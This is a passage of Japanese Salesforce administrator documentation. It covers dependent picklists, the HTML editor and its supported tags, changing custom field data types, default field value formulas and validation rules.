に連動する、カスタムまたは複数選択の選択リストです。制御項目は、同じレ
コード上の選択リスト (1 つ以上、300 以下の値を含む)、またはチェックボック
ス項目です。
たとえば、商談に [理由]カスタム選択リストを定義し、その有効値を次のよう
に [フェーズ] 選択リストに連動させることができます。
• [フェーズ]が [商談成立]の場合は、[理由]の有効値を Superior features

または Lower price とする。
• [フェーズ] が [不成立] の場合は、[理由] の有効値を Inferior features、Higher price、または

Company viability とする。

関連トピック:

連動選択リストの定義
連動選択リストの考慮事項

項目の連動関係マトリックスの使用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

選択リストの連動関係を
定義する
• 「アプリケーションの

カスタマイズ」

項目の連動関係マトリックスを使用して、ユーザが各制御項目の値を選択した
ときに有効とする連動選択リストの値を指定できます。マトリックスの一番上
の行には制御項目の値があり、列には連動する項目値がリストされます。
このマトリックスを使用して、値を含めたり、除外することができます。ここ
で含めた値は、制御項目で値を選択した場合に連動選択リストで使用可能な値
となります。除外した項目は、制御項目で値を選択しても、連動選択リストで
使用できません。
値を含める、または除外する手順は、次のとおりです。
• 値を含めるには、値をダブルクリックします。含められた値は強調表示され

ます。値を除外するには、強調表示された任意の値をダブルクリックしま
す。

• 値をクリックし、Shift キーを押しながら他の値をクリックすると、隣接する
値を選択できます。次に [値を除外する]をクリックすると値が利用可能にな
り、[値を含める] をクリックすると、利用可能な値のリストから値が除外さ
れます。

• 値をクリックし、次に Ctrl キーを押しながら値をクリックすると、複数の値を選択できます。次に [値を除
外する]をクリックすると値が利用可能になり、[値を含める]をクリックすると、利用可能な値のリストか
ら値が除外されます。

• 列のヘッダーをクリックすると、その列にあるすべての値を選択できます。次に [値を除外する] をクリッ
クすると値が利用可能になり、[値を含める] をクリックすると、利用可能な値のリストから値が除外され
ます。

ビュー内の値を変更する手順は、次のとおりです。
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• [すべて表示] をクリックすると、利用可能なすべての値を一度に表示できます。
• [移動] をクリックし、制御値を選択すると、その列にあるすべての連動値を表示できます。
• [前へ] または [次へ] をクリックすると、前または次のページの列にある値を表示できます。
• [5 組の表示] をクリックすると、一度に 5 列の表示ができます。

連動選択リストの編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

項目の連動関係を編集す
る手順は、次のとおりで
す。
• 「アプリケーションの

カスタマイズ」

1. 選択リストのオブジェクトの管理設定から、[項目] に移動します。
2. [項目の連動関係] をクリックします。
3. 変更する項目の連動関係の横にある [編集] をクリックします。
4. 項目の連動関係マトリックスを使用して、ユーザが各制御項目の値を選択し

たときに有効とする連動選択リストの値を指定します。
5. 必要に応じて、[プレビュー] をクリックし、選択内容をテストできます。
6. 変更内容を保存します。

関連トピック:

オブジェクト管理設定の検索

選択リストの連動関係の削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

項目の連動関係を削除す
る
• 「アプリケーションの

カスタマイズ」

連動選択リストの値を制御項目に連動しないようにするには、その連動関係を
削除します。連動関係を削除すると選択リストの値を制御項目の値に連動させ
るロジックが削除されますが、項目が削除されたり、項目のデータが影響を受
けることはありません。
1. 選択リストのオブジェクトの管理設定から、[項目] に移動します。
2. [項目の連動関係] をクリックします。
3. 削除する項目の連動関係の横にある [削除] をクリックします。
4. [OK] をクリックして確認します。

関連トピック:

オブジェクト管理設定の検索
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連動選択リストの考慮事項

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
すべてのエディション

ページレイアウトおよび
リードは、Database.com
Edition では利用できませ
ん。

ユーザ権限

連動選択リストを定義お
よび編集する
• 「アプリケーションの

カスタマイズ」

連動選択リストを定義するときは、次の点に留意してください。
チェックボックス

チェックボックス項目は制御項目になりますが、連動項目にはなりません。
項目の変換

既存の項目を連動選択リストまたは制御項目に変換する場合、レコード内の
既存の値には影響を及ぼしません。変換後、連動関係のルールは、新規レ
コードまたは既存のレコードに対するすべての変更に適用されます。

デフォルト値
制御項目にはデフォルト値を設定できますが、連動選択リストには設定でき
ません。

項目レベルセキュリティ
制御項目および連動選択リストの項目レベルセキュリティ設定は、独立して
います。相関関係にある連動選択リストが非表示になっている場合は、制御
項目も必ず非表示にしてください。

インポート
データインポートウィザードでは、項目の連動関係は考慮されません。制御
項目にインポートされた値かどうかに関係なく、すべての値を連動選択リス
トにインポートできます。

リードの取引の開始
リードの取引を開始するために、取引先や取引先責任者、商談項目に対応付けられているリード項目の連
動関係を作成した場合は、取引先、取引先責任者、商談に同じ連動関係を作成してください。
連動選択リストおよび制御リード項目は、異なる連動関係ルールのある取引先、取引先責任者、または商
談に対応付けることができます。

複数選択リスト
複数選択リストは連動選択リストにはなりますが、制御項目にはなりません。

標準選択リストとカスタム選択リスト
カスタム選択リストの項目は、制御項目または連動項目のどちらにもなります。
標準選択リスト項目は制御項目にはなりますが、連動項目にはなりません。

選択リストの制限
制御項目には、最大 300 個の値を指定できます。項目が制御項目であり連動選択リストでもある場合は、
300 を超える値を持つことはできません。
次の項目は、制御項目として使用できません。
活動の項目

通話種別
定期的な行動を作成
予定の公開方法
件名
ToDo
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種別
取引先責任者の項目

敬称
取引先責任者 通貨

カスタムオブジェクト項目
通貨

リードの項目
取引開始済み
所有者 未読フラグ

連動関係の制限
連動関係を定義する前に、選択リストに最低 1 つの値があることを確認してください。[商品ファミリ] の
ような標準項目には、値を追加するまで値は含まれません。
組織で無効化されている機能に標準制御項目が連動する場合、選択リストの連動関係ルールは消去されま
す。たとえば、組織でセルフサービスポータルが無効になっていて、[セルフサービスユーザによるクロー
ズ] が制御項目になっている場合、連動選択リストは使用可能な値をすべて表示します。
制御選択リストで親の値を置き換えると、選択リストの連動関係が失われます。親の値を置き換えたら、
新しい親の値を使用して連動関係を再作成してください。

Connect Offline

制御項目および連動選択リストはConnect Offlineでも使用できますが、項目間のロジックは使用できません。
ページレイアウト

連動選択リストが含まれるページレイアウトには、その制御選択リスト項目も含める必要があります。こ
れらの項目を含めないと、連動選択リストの値は表示されません。
視力障害のあるユーザのため、ページレイアウトで連動選択リストを制御項目よりも下に配置してくださ
い。
連動選択リストが要求されているにも関わらず、連動選択リストで使用できる制御項目の値に基づいた値
がない場合、ユーザは値を入力しないでレコードを保存できます。レコードは、その項目の値がないまま
保存されます。

レコードタイプ
連動選択リストのレコードタイプは、項目の連動関係の値を作成または編集するときに [プレビュー] ダイ
アログ内でのみ定義または変更できます。レコードタイプによって、制御項目で使用できる値が制御され
ます。レコードタイプと制御項目の両方によって、連動選択リストで使用できる値が決まります。たとえ
ば、連動項目の値は、選択したレコードタイプおよび選択した制御項目の値で使用可能な場合にのみ使用
できます。
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HTML エディタの使用

ユーザ権限

カスタム項目を作成また
は変更する
• 「アプリケーションの

カスタマイズ」

使用可能なエディション: Enterprise Edition、Performance Edition、Unlimited Edition、
および Developer Edition

メモ: Lightning Experience、Salesforce1、およびテンプレートベースのコミュニ
ティでは、LockerService の重要な更新が Sandbox および Developer Edition 組織
で有効な場合、リッチテキストエディタを使用することもリッチテキスト
を含む項目を編集することもできません。Salesforce システム管理者は、重
要な更新が Summer ’17 で自動的に有効になる前に、重要な更新の無効化と
有効化を何回でも行って、組織全体にわたる LockerService の影響を評価でき
ます。または、Salesforce Classicに切り替えて編集を実行できます。この制限
は一時的に Spring ’17 に課されるものであり、Summer ’17 で LockerService がす
べての組織で有効になる前に、この制限は解除されます。

カスタム項目内のテキストの外観を向上するには、Salesforce HTML エディタを使用して、リッチテキストエリ
アのカスタムデータ型で定義されたカスタム項目の書式設定を行います。Salesforce HTML エディタでは、WYSIWYG

インターフェースが提供されます。これにより、基本的な書式設定操作が可能になります。次の操作を実行で
きます。
• テキストを太字、斜体、または下線で表示
• 箇条書きや番号付き箇条書きの作成
• 段落のインデントの変更
• Web ページへのハイパーリンクの挿入
• 画像

メモ: アップグレードされたエディタは、互換モードの Internet Explorer バージョン 7 またはバージョン 8 を
サポートしません。これらのブラウザを使用している場合は、旧エディタが使用されます。

Salesforce ナレッジやアイデアなどのいくつかの機能を使用して、管理者はマルチメディアコンテンツの埋め込
み、ドロップダウンリストの使用、テキストや背景の色の選択などの追加機能を実行できます。ブラウザのセ
キュリティ設定でこれらの機能にアクセスできることを確認してください。たとえば、ブラウザセキュリティ
が Microsoft® Internet Explorer® 7 で [高] に設定されており、<iframe>コンテンツがフレームで表示されない場合、
ドロップダウンリストは使用できず、背景やテキストの色を選択することもできません。
HTML エディタの使用に関する一般的なシナリオを次に示します。
• コードサンプルを Chatter アンサーまたはアイデアの投稿に貼り付ける
• 動画をナレッジの記事やアイデアのテーマの投稿に追加する
• 求職者から提出される履歴書の書式設定を行い、読みやすく見た目の良いバージョンを作成する
• 各種フォントオプション (太字の活字書体や大きいフォントサイズなど) を設定して、[説明] 項目や [コメン

ト] 項目内の重要なポイントを強調する
• 番号付き箇条書きや箇条書きを使用して、手順をわかりやすくする
• Web サイト上にロゴの URL を指定して、会社のブランド・アイデンティティをサポートする
• 会社の Web サイトに関連するアクセス可能なページへのリンクを挿入する
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Salesforce HTML エディタの使用に関する注意事項
エディタを使用する場合、次の点に注意してください。
• Salesforce HTML エディタが提供するインターフェースは WYSIWYG のみです。したがって、HTML タグは編集で

きません。
• Web ページから内容をコピーしてエディタのウィンドウに貼り付けた場合、Salesforce では、サポート対象

外のタグは自動的に削除されます。また、サポート対象外のタグに囲まれたテキストはプレーンテキスト
として保持されます。Salesforce では、サポート対象外の HTML や潜在的に悪意のある HTML が自動的に削除
されても、ユーザに通知されません。

• Salesforce HTML エディタのウィンドウに入力できる最大文字数は、項目を作成または編集するときに指定し
た項目の長さと同じです。デフォルトは 32,768 文字です。

• ハイパーリンクは、クリックされると新しいブラウザウィンドウで開きます。Salesforce HTML エディタで
は、HTTP、HTTPS、そして mailto ハイパーリンクがサポートされます。

• Salesforce HTML エディタでは、レコードを保存するときに Web ページへのハイパーリンクが検証されませ
ん。Salesforce がアクセスできる URL が指定されていることを確認します。

• 画像を挿入するには、 をクリックして、次のいずれかの操作を行います。
– [Web アドレス] タブを選択して、画像の URL を入力します。
– [画像をアップロード]タブを選択して、ローカルホストから画像を選択します。アップロードできるの

は、JPEG、PNG、GIF のみです。1 MB を超える画像は選択できません。画像にはハイパーリンクを追加で
きません。

必要に応じて、説明を入力します。これは、ユーザが画像の上にカーソルを置いたときに表示されます。
画像には、Salesforce がアクセスできる URL を含める必要があります。

• Salesforce HTML エディタでは、Salesforce ナレッジでサポートされるすべての言語がサポートされます。
• Salesforce HTML エディタでは、JavaScript やカスケードスタイルシート (CSS) はサポートされません。
• Salesforce HTML エディタは、アクセシビリティモードが有効なユーザには無効です。テキストボックスに置

き換えられます。

サポートされる HTML タグと属性
Salesforce HTML エディタでサポートされるタグを次の表に示します。

<q><dt><a>

<samp><em><abbr>

<small><font><acronym>

<span><h1><address>

<strike><h2><b>

<strong><h3><bdo>

<sub><h4><big>

<sup><h5><blockquote>
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<table><h6><br>

<tbody><hr><caption>

<td><i><cite>

<tfoot><img><code>

<th><ins><col>

<thead><kbd><colgroup>

<tr><li><dd>

<tt><ol><del>

<ul><p><dfn>

<var><pre><div>

<dl>

タグに含めることのできる属性は、次のとおりです。

sizefacealt

srcheightbackground

stylehrefborder

targetnameclass

widthrowspancolspan

これらの属性には、次の文字列で始まる URL を含めることができます。
• http:

• https:

• file:

• ftp:

• mailto:

• #

• /  (相対リンクの場合)

HTML エディタを使用した動画の追加
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投稿へのコードサンプルの追加
コードサンプルを Chatter アンサーおよびアイデアの投稿に貼り付けることができます。

関連トピック:

リッチテキストエリア項目に関するヒント

HTML エディタを使用した動画の追加

ユーザ権限

カスタム項目を作成また
は変更する
• 「アプリケーションの

カスタマイズ」

使用可能なエディション: Salesforce Classic。

使用可能なエディション: Enterprise Edition、Performance Edition、Unlimited Edition、
および Developer Edition

ナレッジ記事の HTML エディタに動画を追加する前に、ブラウザのセキュリティ
設定でマルチメディアコンテンツの埋め込みが許可されていることを確認しま
す。一部のブラウザのセキュリティ設定では <iframe>要素がブロックされる可能性があります。たとえば、
Internet Explorer 7 でブラウザのセキュリティが [高] に設定されている場合、<iframe> コンテンツはフレームに
表示されません。
マルチメディアコンテンツを埋め込むためのオプションがアプリケーションの設定中に有効に設定されている
場合、ユーザは次のいずれかの方法で <iframe>  HTML 要素を切り取って、エディタに貼り付けることができ
ます。
1. 承認済みのいずれかの動画サイトから <iframe> 要素をコピーする。

承認済みのサイトには、Dailymotion、Vimeo、または YouTube などがあります。
2. 次のいずれかのボタンをクリックして、コードを HTML エディタに貼り付ける。

説明オプション

[マルチメディアコンテンツを埋め込む] ダイアログ
ボックスのテキストボックスに <iframe>要素を貼
り付けることができます。フレームとそのコンテン
ツがエディタウィンドウに追加されます。

<iframe> 要素を HTML コードに直接貼り付けるこ
とができます。

3. [保存] をクリックします。

関連トピック:

HTML エディタの使用
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投稿へのコードサンプルの追加
コードサンプルを Chatter アンサーおよびアイデアの投稿に貼り付けることができます。
Chatter アンサーおよびアイデアを有効にすると、ユーザはコードサンプルをその投稿に追加できます。任意の
テキストエディタからコードをコピーして、書式を保持したまま投稿本文に貼り付けることができます。
1. テキストエディタからコードサンプルをクリップボードにコピーします。
2.

エディタで、投稿のテキストを入力し、 ボタンをクリックしてコードサンプルを追加します。
3. コードサンプルを [コードサンプルを追加] テキストボックスに貼り付けて、[OK] をクリックします。

コードサンプルの書式設定が保持されたまま、投稿本文に表示されます。

カスタム項目のデータ型の変更

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

標準オブジェクトは
Database.com Edition では
使用できません。

Salesforce Connect の外部
オブジェクトを使用可能
なエディション: Developer
Edition。有料オプションで
使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

カスタム項目を変更する
• 「アプリケーションの

カスタマイズ」

メモ: Shield プラットフォームの暗号化を使用してカスタム項目を暗号化す
る場合、データ型は変更できません。

1. 項目のオブジェクトの管理設定から、[項目] に移動します。

メモ: Salesforce ナレッジ記事タイプの項目の場合、[設定] から、[クイッ
ク検索] ボックスに「ナレッジ記事タイプ」と入力し、[ナレッジ記事タ
イプ] を選択して記事タイプを選択します。

2. 変更する項目の横にある [編集] をクリックします。
3. [データ型の変更] をクリックします。
4. 新しいデータ型を選択し、[次へ] をクリックします。
5. 項目の表示ラベル、名前、およびその他の属性を入力して、変更を保存しま

す。

カスタム項目のデータ型の変更に関するメモ

関連トピック:

カスタム項目のデータ型
暗号化できる項目は?

オブジェクト管理設定の検索

カスタム項目のデータ型の変更に関するメモ
項目を変換する前に、次の点に留意してください。
• データの存在しないカスタム項目のみを変換します。存在すると、データが失われるリスクがあります。

次の場合、既存のカスタム項目のデータ型を変更するとデータが失われる可能性があります。
– 日付型から日付/時間型または日付/時間型から日付型に変更する
– 数値型に他の型から変更する
– パーセント型に他の型から変更する
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– 通貨型に他の型から変更する
– チェックボックス型に他の型から変更する
– 選択リスト (複数選択) 型から他の型に変更する
– 選択リスト (複数選択) 型に他の型から変更する

選択リストを複数選択リストに変更しても、現在定義されている選択リスト値は維持されます。選択リ
スト定義にない値がレコードに含まれる場合、データ型を変更するとそれらの値はレコードから削除さ
れます。

– 自動採番型から他の型に変更する
– テキスト以外の型から自動採番型に変更する
– テキストから選択リストに変更する
– テキストエリア (ロング) 型から、メール、電話、テキスト、テキストエリア、URL 以外の型に変更する

• データが失われた場合、そのカスタム項目に基づくリストビューは削除されます。また、割り当ておよび
エスカレーションルールに影響が出る場合があります。

• リードの取引開始に使用されるカスタム項目のデータ型を変更すると、そのリードの項目の対応付けは削
除されます。

• 外部 ID として設定されているカスタム項目のデータ型を変更する場合、テキスト、数値、メール以外の
データ型を選択すると、項目は外部 ID として機能しなくなります。

• カスタム項目のデータ型を変更するオプションを使用できないデータ型もあります。たとえば、既存のカ
スタム項目を暗号化項目に変換したり、暗号化された項目を他のデータ型に変換することはできません。

• Salesforce ナレッジ記事タイプでは、ファイルのデータ型を他のデータ型に変換することはできません。
• [設定] のその他の項目 (Visualforce ページ、Apex コード、プロセスビルダー、フローなど) で参照されている

カスタム項目のデータ型は変更できません。
• カスタム項目のデータ型を変更するとき、一度に大量のレコードの変更が必要になる場合があります。こ

の変更を効率的に処理するために、要求がキューに入れられ、プロセスが完了したときにメール通知を受
信する場合があります。

• カスタム項目の種別を変更する前に、その項目がワークフロー項目自動更新の対象でないこと、または新
しい種別によって無効化される項目自動更新数式で参照されていないことを確認してください。

次のデータ型は、さらに変換時の制限があります。

説明データ型

自動採番項目のデータは、テキスト項目に変換しても
変化しません。また、テキストカスタム項目は、デー

自動採番

タを失うことなく確実に自動採番項目に変換できま
す。自動採番項目を他のデータ型に変換するとデータ
が失われます。自動採番項目には、最大 30 文字を含
めることができます。テキストカスタム項目を自動採
番項目に変換する前に、その項目に含まれる文字数が
30 文字を超えるレコードがあれば変更します。
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説明データ型

数式項目は、特殊な参照のみ項目であり、他のデータ
型に変換できません。同様に、他のデータ型の項目を
数式項目に変換することもできません。

数式

カスタム選択リストをカスタムチェックボックスに変
更するのは簡単です。新しいデータ型としてチェック

選択リスト

ボックスを選択する場合、オンのボックスとオフの
ボックスに対応付ける選択リスト値を選択できます。
カスタム選択リストは、データを失うことなく複数選
択リストに変更できます。レコードに含まれるのは 1

つの選択リスト値のみであるため、その値はオンのま
まになりますが、追加で他の値をオンにすることもで
きます。

リレーション • 外部オブジェクトのみで、リレーション項目から
非リレーション項目への変換、およびその逆の変
換を行うことができます。

• 組織に大量のレコードがある場合、Salesforceでは、
主従関係から参照関係への変更または参照関係か
ら主従関係の変更を要求すると、待機中ページが
表示されます。

• オブジェクトで積み上げ集計項目を作成した後は、
そのオブジェクトの主従関係を参照関係に変換す
ることはできません。

• 既存のオブジェクトのレコードで参照関係に null

値が設定されている場合、参照関係を主従関係に
変換することはできません。

• 主従関係を、「従」側でカスタムオブジェクトの
参照関係に変換すると、オブジェクトの組織の共
有設定は自動的に「公開/参照・更新可能」に更新
されます。同様に、参照関係を主従関係に変換す
ると、組織の共有設定は「親レコードに連動」に
変更されます。

ロングテキストエリア項目をメール、電話、テキス
ト、テキストエリア、または URL 型の項目に変換する

ロングテキストエリア

と、レコードのデータはその項目の先頭から 255 文字
に切り詰められます。

リッチテキストエリア項目をロングテキストエリア項
目にのみ変換可能です。画像は、次回ロングテキスト

リッチテキストエリア

エリア項目を保存するときにすべて削除されます。変
換後、マークアップはロングテキストエリア項目で非
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説明データ型

表示になりますが、レコードを保存するまでレコード
から削除されることはありません。このため、後で
マークアップを復元することもできます。

関連トピック:

カスタム項目のデータ型の変更

デフォルト項目値の定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

デフォルト項目値を表示
する
• 「設定・定義を参照す

る」

デフォルト項目値を定義
または変更する
• 「アプリケーションの

カスタマイズ」

デフォルト項目値を定義する手順は、次のとおりです。
1. カスタム項目を作成します。「カスタム項目の作成」 (ページ5374)を参照して

ください。また、既存のカスタム項目に対してデフォルト値を定義できま
す。「カスタム項目の編集」 (ページ 5394)を参照してください。

2. 作成する項目のデータ型を選択し、[次へ] をクリックします。デフォルト値
が使用できるデータ型の一覧は、「デフォルト項目値について」 (ページ5423)

を参照してください。
3. 項目の属性を入力します。
4. デフォルト値を入力するか、デフォルト値を計算する数式を定義します。

メモ: デフォルト値用の数式は、適切な項目に対してだけ定義できま
す。たとえば、選択リストおよびチェックボックス項目のデフォルト値
には、[チェック], [チェックなし]または [最初の値をデフォルト値とす
る]など、それらの項目に対して適切なオプションだけが提供されてい
ます。

5. [次へ] をクリックします。
6. 項目レベルのセキュリティを設定して、特定のプロファイルに対してその項

目をアクセス可能にするかを決定し、[次へ] をクリックします。
7. 項目を表示するページレイアウトを選択します。ページレイアウトの 2 列の

セクションのうち、最上部に設定されているセクション内の最後の項目とし
て追加されます。ユーザカスタム項目の場合、ユーザ詳細ページの一番下に
自動的に追加されます。

8. [保存] をクリックして終了するか、[保存 & 新規] をクリックして別の新規カ
スタム項目を作成します。

デフォルト項目値について
役に立つデフォルト項目値の数式
デフォルト項目値の考慮事項
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デフォルト項目値について

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

デフォルト項目値を使用して、ユーザが手入力しなければならない項目数を減
らすことによって生産性の向上を図ります。新しいレコードが作成されると、
カスタム項目にデフォルトの項目値が自動的に挿入されます。項目の種類によっ
ては、数式に基づいたデフォルト値を挿入できます。チェックボックス項目の
場合は、[チェック] または [チェックなし] などの完全値を使用できます。
デフォルト値の定義すると、以下のように処理されます。
1. 新規レコードの作成を選択します。
2. デフォルト項目値設定処理が実行されます。
3. Salesforce がデフォルト項目値を自動設定した編集ページを表示します。
4. 新規レコードの項目を手入力します。
5. 新規レコードを保存します。
デフォルト項目値を変更することができますが、一度変更すると再度デフォル
ト値を自動設定することはできません。たとえば、次回の連絡日を示すカスタ
ムリード項目のデフォルト項目値を、作成日の 7 日後に設定するとします。この値を手動で変更することはで
きますが、デフォルト項目値である作成日の 7 日後に自動的に戻すことはできません。
以下のタイプのカスタム項目にデフォルト項目値を設定できます。
• チェックボックス
• 通貨
• 日付
• 日付/時間
• メール
• 数値
• パーセント
• 電話
• 選択リスト (選択リストを設定するときにデフォルト値オプションを使用します)

• テキスト
• テキストエリア
• URL

関連トピック:

デフォルト項目値の定義
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役に立つデフォルト項目値の数式

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

デフォルト項目値を表示
する
• 「設定・定義を参照す

る」

デフォルト項目値を定義
または変更する
• 「アプリケーションの

カスタマイズ」

最大割引率
商談作成者の所属する部・課によって、適用する割引率が異なる場合がありま
す。次の例では、商談の [割引率]というカスタム項目に部・課に応じてデフォ
ルト値を設定します。

CASE(User.Department, "IT", 0.25, "Field", 0.15, 0)

この例では、数式により、「IT」という部・課に属するユーザが作成した商談では割引率を 25% とし、「第一
営業」という部・課のユーザが作成した商談では 15% とします。そのどちらの部・課にも属さない作成者の場
合には、ゼロを適用します。標準ユーザ項目 [部署] を使用して商談のカスタムパーセント項目に定義してい
ます。

商品の言語
商品にその言語を関連付け、ドキュメントや付属品などがわかりやすくなるようにすることができます。次の
数式では、商品を作成しているユーザの国を基に商品の言語を自動的に設定します。ユーザの国が「日本」で
あれば商品の言語のデフォルト値に「日本語」を、また、ユーザの国が「アメリカ合衆国」であれば「英語」
を設定します。どちらにも当てはまらならない (true でない) 場合、[商品の言語] 項目にはデフォルト値「不
明」が入ります。
CASE($User.Country , "Japan", "Japanese", "US", "English","unknown")
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税率
この数式では、ユーザの市区郡に基づいて納入商品の税率を設定します。次のデフォルト値を持つカスタム
パーセント項目を作成します。
IF($User.City = "Napa", 0.0750,
IF($User.City = "Paso Robles", 0.0725,
IF($User.City = "Sutter Creek", 0.0725,
IF($User.City = "Los Olivos", 0.0750,
IF($User.City = "Livermore", 0.0875, null
)
)
)
)
)

この例では、ユーザの住所が Livermore 内の市にある場合、納入商品には税率 8.75% が適用されます。条件指定
されていない市の場合は、[税率]項目を空白にします。さらに、他の数式の中で [税率]項目を使用して、課
税価額と最終的な販売価格を自動的に計算することもできます。

関連トピック:

デフォルト項目値の定義

デフォルト項目値の考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

新しいレコードが作成されると、カスタム項目にデフォルトの項目値が自動的
に挿入されます。項目の種類によっては、数式に基づいたデフォルト値を挿入
できます。チェックボックス項目の場合は、[チェック]または [チェックなし]

などの完全値を使用できます。組織でデフォルト項目値を組み込む前に、次の
考慮事項を確認します。
• デフォルト値に差し込み項目を使用している場合、Salesforce はデフォルト値

の設定実行時にその差し込み項目の値を使用します。差し込み項目の値を後
から変更しても、一度設定されたデフォルト値は更新されません。

• デフォルト項目値を変更または削除することができます。
• デフォルト値は、必須項目かつ一意の項目に割り当てないでください。一意

性のエラーになる可能性があります。
• 活動のカスタム項目を必須にする場合には、デフォルト値も指定する必要が

あります。
• 活動のカスタム項目が固有である場合は、デフォルト値を指定できません。
• デフォルト項目値は、レコード作成時に 1 度だけ実行される、参照のみではない、値を変更できるがデフォ

ルト項目値に戻せない、という点が数式項目とは異なります。
• 新しいレコードに値を入力する前にデフォルト値が設定され、既存レコードの編集時にはデフォルト項目

は設定されません。[新規] However, you can use the record type because it is selected before the record edit page displays.

• 各レコードタイプに対して異なるデフォルト値を適用するには、デフォルト項目値の設定でCASE関数を使
用し、レコードタイプの差し込み項目を使用して設定します。
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• 項目レベルセキュリティによってアクセスできない項目も、デフォルト項目値用の数式では使用すること
ができます。

• Connect OfflineおよびSalesforce for Outlookでは、デフォルト値は表示されません。ただし、同期時にはSalesforce

によってデフォルト値が挿入されます (ユーザが値を入力した場合は除きます)。
• セルフサービスポータルでは、デフォルトの項目値は使用できません。
• リードの変換、Web-to-リード、および Web-to-ケースでは、デフォルト項目値を自動設定しません。

メモ: デフォルト値用の数式は、適切な項目に対してだけ定義できます。たとえば、選択リストおよび
チェックボックス項目のデフォルト値には、[チェック], [チェックなし] または [最初の値をデフォルト
値とする] など、それらの項目に対して適切なオプションだけが提供されています。

関連トピック:

デフォルト項目値の定義

入力規則

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

入力規則を使用して、データの質を向上させます。レコードを保存する前に、
入力したデータが指定した基準に合っているかどうかを確認できます。入力規
則は、1 つ以上の項目のデータを評価する数式や条件式を設定し、「True」また
は「False」の値を返すことができます。不正な値があれば、「True」値を返すと
きにエラーメッセージを表示することもできます。
入力規則の定義後、以下のように使用されます。
1. ユーザが新規レコードの作成または既存のレコードの編集を選択します。
2. ユーザが [保存] をクリックします。
3. すべての入力規則が検証されます。

• すべてのデータが有効であれば、レコードは保存されます。
• 無効なデータがあれば、関連するエラーメッセージが表示され、レコー

ドは保存されません。

4. ユーザは必要な変更を行い、もう一度 [保存] をクリックします。
レコードが入力規則に違反するときに表示するエラーメッセージと、それを表示する場所を指定できます。た
とえば、エラーメッセージを「完了予定日は本日より後の日付にしてください。」にします。表示場所を、項
目の直下にするか、ページ上部にするかを選択できます。他のすべてのエラーメッセージと同様に、入力規則
エラーは赤い文字で表示され、先頭に「エラー」の文字が表示されます。

重要: 入力規則は、オブジェクトの新規および更新されたレコードに適用されます。これは、入力規則で
参照される項目がページレイアウトまたはAPIコールに含まれない場合でも適用されます。入力規則は、
簡易作成を使用してオブジェクトに新規レコードを作成する場合は適用されません。組織がオブジェク
ト対して複数のページレイアウトを持ち、そのページレイアウトで入力規則を作成する場合、その入力
規則がそれぞれのレイアウトで意図したとおりに機能することを確認してください。組織でこのオブジェ
クト使用する何らかのインテグレーションを行っている場合、入力規則がそれぞれの統合で意図したと
おりに機能することを確認してください。
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入力規則の管理
入力規則の定義
入力規則のコピー
入力規則の有効化
入力規則項目
入力規則の記述のヒント
入力規則の考慮事項

関連トピック:

入力規則の例

入力規則の管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

レコードを保存する前に、入力したデータが指定した基準に合っているかどう
かを確認できます。入力規則は、1 つ以上の項目のデータを評価する数式や条件
式を設定し、「True」または「False」の値を返すことができます。不正な値があ
れば、「True」値を返すときにエラーメッセージを表示することもできます。
入力規則ページから、次の操作が可能です。
• 入力規則を定義する。
• 規則名の横にある [編集] をクリックして規則項目を更新する。
• 入力規則を削除する。
• 入力規則名をクリックして、詳細を表示するか規則をコピーする。
• 入力規則を有効化する。

関連トピック:

入力規則の例
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入力規則の定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

項目の入力規則を表示す
る
• 「設定・定義を参照す

る」

項目の入力規則を定義ま
たは変更する
• 「アプリケーションの

カスタマイズ」

レコードを保存する前に、入力したデータが指定した基準に合っているかどう
かを確認できます。入力規則は、1 つ以上の項目のデータを評価する数式や条件
式を設定し、「True」または「False」の値を返すことができます。不正な値があ
れば、「True」値を返すときにエラーメッセージを表示することもできます。
入力規則を作成する前に、「入力規則の考慮事項」を参照してください。
1. 関連オブジェクトの管理設定から、[入力規則] に移動します。
2. [入力規則] 関連リストで、[新規] をクリックします。
3. 入力規則のプロパティを入力します。
4. [構文を確認] をクリックして、数式にエラーがないか確認します。
5. [保存] をクリックして終了するか、[保存 & 新規] をクリックして別の入力規

則を作成します。

メモ: 活動のカスタム項目の詳細ページには、関連付けられている入力規
則の一覧は表示されません。カスタム活動項目の入力規則を編集するには、
[設定] から [クイック検索]ボックスに「活動」と入力し、[活動]を選択し、
[ToDo の入力規則] または [行動の入力規則] を選択して、入力規則を選択し
ます。

関連トピック:

入力規則
入力規則のコピー
